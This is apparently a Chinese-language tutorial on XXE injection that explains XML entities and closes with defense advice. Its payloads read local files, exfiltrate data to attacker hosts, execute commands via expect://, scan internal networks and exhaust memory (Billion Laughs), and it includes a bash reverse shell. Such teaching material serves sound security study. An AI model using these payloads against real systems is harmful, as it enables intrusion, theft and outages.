web漏洞——XXE
XML基礎
XML由三個部分構成,分別是:文件型別定義(Document Type Definition,DTD),即XML的佈局語言;可擴充套件的樣式語言(Extensible Style Language,XSL),即XML的樣式語言;以及可擴充套件連結語言(Extensible Link Language,XLL)。
XML:可擴充套件標記語言,標準通用標記語言的子集,是一種用於標記電子檔案使其具有結構性的標記語言。它被設計用來傳輸和儲存資料(而不是儲存資料),可擴充套件標記語言是一種很像超文字標記語言的標記語言。它的設計宗旨是傳輸資料,而不是顯示資料。它的標籤沒有被預定義。你需要自行定義標籤。
XML是用來傳輸和儲存資料,其焦點是資料的內容。
HTML是用來顯示資料,其焦點是資料的外觀。
XML的作用
可以用來儲存資料;可以用來做配置檔案;資料傳輸載體。
XML使用元素和屬性描述資料。在資料傳送過程中,XML始終保留了諸如父/子關係這樣的資料結構。幾個應用程式可以共享和解析同一個XML檔案。
XML格式說明
XML用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。
PCDATA的意思是被解析的字元資料。PCDATA是會被解析器解析的文字。這些文字將被解析器檢查實體以及標記。文字中的標籤會被當作標記來處理,而實體會被展開。
不過,被解析的字元資料不應當包含任何&,<,或者>字元,需要用`&` `<` `>`實體來分別替換
- CDATA意思是字元資料,CDATA 是不會被解析器解析的文字,在這些文字中的標籤不會被當作標記來對待,其中的實體也不會被展開。
在 XML 元素中,"<" 和 "&" 是非法的。
"<" 會產生錯誤,因為解析器會把該字元解釋為新元素的開始。
"&" 也會產生錯誤,因為解析器會把該字元解釋為字元實體的開始。
某些文字,比如 JavaScript 程式碼,包含大量 "<" 或 "&" 字元。為了避免錯誤,可以將指令碼程式碼定義為 CDATA。
CDATA 部分中的所有內容都會被解析器忽略。
CDATA 部分由 "<![CDATA[" 開始,由 "]]>" 結束
DTD(文件型別定義)的作用是定義XML文件的合法構建模組。DTD可以在XML文件內宣告,也可以外部引用。(DTD就是XML文件的格式規範)
(1)內部宣告DTD
<!DOCTYPE 根元素[元素宣告]>
(2)引用外部DTD
<!DOCTYPE 根元素 SYSTEM “檔名”>
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "檔名">
DTD元素
DTD屬性
屬性宣告使用以下語法
<!ATTLIST 元素名稱 屬性名稱 屬性型別 預設值>
DTD例項
<!ATTLIST payment Hu3sky CDATA "H">
XML例項
<payment Hu3sky="H" />
以下是屬性型別的選項
預設值引數可以使用下列值:
DTD實體
實體是用於定義引用普通文字或特殊字元的快捷方式的變數。實體引用就是對實體的引用。實體可以在內部或外部進行宣告。
外部實體是指XML處理器必須解析的資料。它對於在多個文件之間建立共享的公共引用很有用。
內部實體:
外部實體:
這裡用(&實體名;)引用實體,在DTD中定義,在XML文件中引用。
XML實體
XML中的實體分為五種:字元實體、命名實體、內建實體、外部實體、引數實體。普通實體和引數實體都分為內部實體和外部實體兩種,外部實體定義需要加上SYSTEM關鍵字,其內容是URL所指向的外部檔案實際的內容。如果不加SYSTEM關鍵字,則為內部實體,表示實體指代為字串。
(1)字元實體
指用十進位制格式(&#aaa;)或十六進位制格式(પ)來指定任意Unicode字元。對XML解析器而言,字元實體與直接輸入字串的效果完全相同。
(2)命名實體
也稱為內部實體,在DTD或內部子集(即文件中<!DOCTYPE>語句的一部分)中宣告,在文件中用作引用。在XML文件解析過程中,實體引用將由它的表示替代。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>
<value>&xxe;</value>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://otherhost/xxxx.php" >]>
<value>&xxe;</value>
(3)外部實體
外部實體表示外部檔案的內容,用SYSTEM關鍵詞表示。<!ENTITY test SYSTEM "1.xml">
有些XML文件包含system識別符號定義的“實體”,這些文件會在DOCTYPE頭部標籤中呈現。這些定義的’實體’能夠訪問本地或者遠端的內容。比如,下面的XML文件樣例就包含了XML ‘實體’。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>
在上面的程式碼中,XML外部實體‘entityex’被賦予的值為:file://etc/passwd。在解析XML文件的過程中,實體’entityex’的值會被替換為URI(file://etc/passwd)內容值(也就是passwd檔案的內容)。關鍵字’SYSTEM’會告訴XML解析器,’entityex’實體的值將從其後的URI中讀取,並把讀取的內容替換entityex出現的地方。
假如SYSTEM後面的內容可以被使用者控制,那麼使用者就可以隨意替換為其他內容,從而讀取伺服器本地檔案(file:///etc/passwd)或者遠端檔案(http://www.baidu.com/abc.txt)
(4)引數實體
引數實體只用於DTD和文件的內部子集中,XML的規範定義中,只有在DTD中才能引用引數實體,引數實體的宣告和引用都是用%。並且引數實體的引用在DTD是理解解析的,替換文字將變成DTD的一部分。該型別的實體用“%”字元(或十六進位制編碼的%)宣告,並且僅在經過解析和驗證後才用於替換DTD中的文字或其他內容:
<!ENTITY %實體名稱"實體的值">
或者
<!ENTITY %實體名稱SYSTEM "URI">
引數實體只能在DTD檔案中被引用,其他實體在XML文件內引用。
即下面例項,引數實體 在DOCTYPE內 ,其他實體在外
<!DOCTYPE a [
<!ENTITY % name SYSTEM “file:///etc/passwd”>
%name;
]>
引數實體在DTD中解析優先順序高於xml內部實體,實體相當於變數“file:///etc/passwd”賦值給name。
(5)內建實體
內建實體為預留的實體,如:
實體引用字元
<<
>>
&&
""
''
而內部實體是指在一個實體中定義的另一個實體,也就是巢狀定義。
關於實體巢狀的情況,比較幸運的是DTD中支援單雙引號,所以可以通過單雙引號間隔使用作為區分巢狀實體和實體之間的關係;在實際使用中,我們通常需要再巢狀一個引數實體,%號是需要處理成%如下:
<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'
%也可寫為16進位制%
(6)命名實體+外部實體寫法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY dtd SYSTEM "http://localhost:88/evil.xml">
]>
<value>&dtd;</value>
這種命名實體呼叫外部實體,發現evil.xml中不能定義實體,否則解析不了,感覺命名實體好雞肋,引數實體就好用很多
(7)第一種命名實體+外部實體+引數實體寫法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>
其中evil.xml檔案內容為
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
呼叫過程為:引數實體dtd呼叫外部實體evil.xml,然後又呼叫引數實體all,接著呼叫命名實體send
(8)第二種命名實體+外部實體+引數實體寫法
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>
其中evil.xml檔案內容為:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
呼叫過程和第一種方法類似
XXE注入定義
XXE注入,XML外部實體注入。通過XML實體,“SYSTEM”關鍵詞導致XML解析器可以從本地檔案或者遠端URI中讀取資料。所以攻擊者可以通過XML實體傳遞自己構造的惡意值,使處理程式解析它。當引用外部實體時,通過構造惡意內容,可導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等危害。
XXE漏洞原理
既然XML可以從外部讀取DTD檔案,那我們自然地想到 瞭如果將路徑換成另一個路徑,那麼伺服器在解析這個XML的時候就會把那個檔案的內容賦值給SYSTEM前面的根元素中,只要我們在XML中讓前面的根元素的內容顯示出來,不就可以讀取那個檔案的內容了。這就造成了一個任意檔案讀取漏洞。
xxe漏洞觸發的點往往是可以上傳xml檔案的位置,沒有對上傳的xml檔案進行過濾,導致可上傳惡意xml檔案
那如果我們指向的是一個內網主機的埠呢?是否會給出錯誤資訊,我們是不是可以從錯誤資訊上來判斷內網主機這個埠是否開放,這就造成了一個內部埠被探測的問題。另外,一般來說,伺服器解析XML有兩種方式,一種是一次性將整個XML載入進記憶體中,進行解析;另一種是一部分一部分的、“流式”地載入、解析。如果我們遞迴地呼叫XML定義,一次性呼叫巨量的定義,那麼伺服器的記憶體就會被消耗完,造成了拒絕服務攻擊。
XML注入簡單利用
構造本地xml介面,先包含本地xml檔案,檢視 返回結果,正常返回再換伺服器。1、任意檔案讀取(有回顯)
任意檔案讀取(無回顯)
blind xxe雖然不回顯訊息,但是可以利用file協議來讀取檔案。 在輸入框輸入構造的xxe程式碼,抓取請求包。 我們可以看到將我們提交的xxe程式碼,放在date裡面,響應包沒有返回我們要查詢的資訊,只有ok輸出在頁面上。對於沒有回顯,就要利用http協議將請求傳送到遠端伺服器上,從而獲取檔案的內容。在我們自己的伺服器上寫一個dtd檔案
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://39.107.90.188:8081/%file;'>">
然後在伺服器上監聽8081埠。
然後我們將構造的xxe程式碼,輸入到輸入框並提交
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://39.107.90.188/evil.dtd"> %remote;%int;%send; ]>
伺服器上的監聽出現了base64加密的資料。
上面構造的payload,呼叫了%remote,%int,%send三個引數實體。一次利用順序就是通過%remote呼叫遠端伺服器上的dtd檔案,然後%int呼叫了dtd檔案中的%file,而%file就會獲取服務讀取敏感檔案,然後%file的結果放到%send之後,然後我們呼叫%send,把讀取的資料以GET請求傳送到伺服器上,這就是外帶資料的結果。
在讀取檔案時,檔案中包含“<>&”等特殊符號,會被xml解析器解析,報錯從而導致讀取失敗。
引數實體和內部引數實體
引數實體是一種只能在DTD中定義和使用的實體,一般引用時使用%作為字首。而內部實體是指在一個實體中定義的另一個實體,也就是巢狀定義。 如: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>"> %param1; ]> <root> [This is my site] &internal; </root> 但是在我研究過程中,發現內部實體的這支援與否也是取決於直譯器的。 IE/Firefox: Chrome:這也是比較蛋疼的特性,因為php,java,C#等語言的內建XML解析器都是有一定差別的,也就給漏洞利用帶來不便。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>但是這樣做行不通,原因是不能在實體定義中引用引數實體,即有些直譯器不允許在內層實體中使用外部連線,無論內層是一般實體還是引數實體。
解決方案是:
(1)將巢狀的實體宣告放入到一個外部檔案中,這裡一般是放在攻擊者的伺服器上,這樣做可以規避錯誤。
src.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>•
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">•
實體remote,all,send的引用順序很重要,首先對remote引用目的是將外部檔案evil.xml引入到解釋上下文中,然後執行%all,這時會檢測到send實體,在root節點中引用send,就可以成功實現資料轉發。
(2)使用CDATA
錯誤payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>
正確payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % start "<![CDATA["> <!ENTITY % go SYSTEM "file:///c:/test.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd; ]> <root>&all;</root>
http://aaaaahui.com/evil.dtd <!ENTITY all "%start;%go;%end;">
兩個payload的邏輯都是一樣的,不過第二個是呼叫的外部dtd文件就可以,這是因為在xml中,xml解析器有個限制:不能在內部Entity中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止內部引數實體引用。
第二個payload可以讀取存在敏感字元的檔案
2、執行系統命令
前提是:在PHP環境中,如果說php擴充套件安裝expect擴充套件,那麼就能執行系統命令<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM "expect://id"> ]> <user><username>&xxes;</username><password>admin</password></user>
3、HTTP 內網主機探測
我們以存在 XXE 漏洞的伺服器為我們探測內網的支點。要進行內網探測我們還需要做一些準備工作,我們需要先利用 file 協議讀取我們作為支點伺服器的網路配置檔案,看一下有沒有內網,以及網段大概是什麼樣子(我以linux 為例),我們可以嘗試讀取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 檔案以後我們就有了大致的探測方向了
下面是一個探測指令碼的例項:
import requests import base64 #Origtional XML that the server accepts #<xml> # <stuff>user</stuff> #</xml> def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml) def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string # print base64.b64decode(coded_string) for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue返回結果:
HTTP 內網主機埠掃描
找到了內網的一臺主機,想要知道攻擊點在哪,我們還需要進行埠掃描,埠掃描的指令碼主機探測幾乎沒有什麼變化,只要把ip 地址固定,然後迴圈遍歷埠就行了,當然一般我們埠是通過響應的時間的長短判斷該該埠是否開放的,讀者可以自行修改一下,當然除了這種方法,我們還能結合 burpsuite 進行埠探測比如我們傳入:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
返回結果:
javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Connection refused
這樣就完成了一次埠探測。如果想更多,我們可以將請求的埠作為 引數 然後利用 bp 的 intruder 來幫我們探測
如下圖所示:
至此,我們已經有能力對整個網段進行了一個全面的探測,並能得到內網伺服器的一些資訊了,如果內網的伺服器有漏洞,並且恰好利用方式在伺服器支援的協議的範圍內的話,我們就能直接利用 XXE 打擊內網伺服器甚至能直接 getshell(比如有些 內網的未授權 redis 或者有些通過 http get 請求就能直接getshell 的 比如 strus2)
DOS攻擊
典型的案例Billion Laughs攻擊,Billion laughs attack,xml解析的時候,<lolz></lolz>中間將是一個十億級別大小的引數,將會消耗掉系統30億位元組的記憶體。
POC:
<?xml version = "1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> <lolz>&lol9;</lolz>
或者:
<!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data>
POC中中先定義了lol實體,值為"lol"的字串,後在下面又定義了lol2實體,lol2實體引用10個lol實體,lol3又引用了10個lol2實體的值,依此類推,到了最後在lolz元素中引用的lol9中,就會存在上億個"lol"字串
此時解析資料時未做特別處理,即可能造成拒絕服務攻擊。
攻擊內網網站
若內網網站存在命令執行漏洞時:
將以下bash.txt儲存至自己的WEB伺服器下:
bash.txt:
bash -i >& /dev/tcp/192.168.55.129/8877 0>&1
傳送以下payload獲取bash.txt檔案:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]>
<root>
<name>&XXE;</name>
</root>
在本機監聽一個埠:
傳送一下payload,獲得反彈shellcode命令:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]>
<root>
<name>&XXE;</name>
</root>
判斷是否存在XXE漏洞
(1)檢測XML是否會被解析
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY shit “this is shit”>
]>
<root>&shit;</root>
如果$shit;變成了”thisisshit”,那就繼續第二步。
(2)檢測伺服器是否支援外部實體:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>
%shit;
]>
通過檢視自己伺服器上的日誌來判斷,看目標伺服器是否向你的伺服器發了一條請求evil.xml的HTTPrequest。
(3)如果上面兩步都支援,那麼就看能否回顯。如果能回顯,就可以直接使用外部實體的方式進行攻擊。當然有時候伺服器會不支援一般實體的引用,也就是在DTD之外無法引用實體,如果這樣的話,只能使用Blind XXE攻擊。
(4)如果不能回顯,使用Blind XXE攻擊方法。
防禦XXE
(1)使用開發語言提供的禁用外部實體的方法PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newlnstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=false))(2)過濾使用者提交的XML資料 過濾關鍵字:<\!DOCTYPE和</!ENTITY,或者SYSTEM和PUBLIC (3)不允許XML中含有自己定義的DTD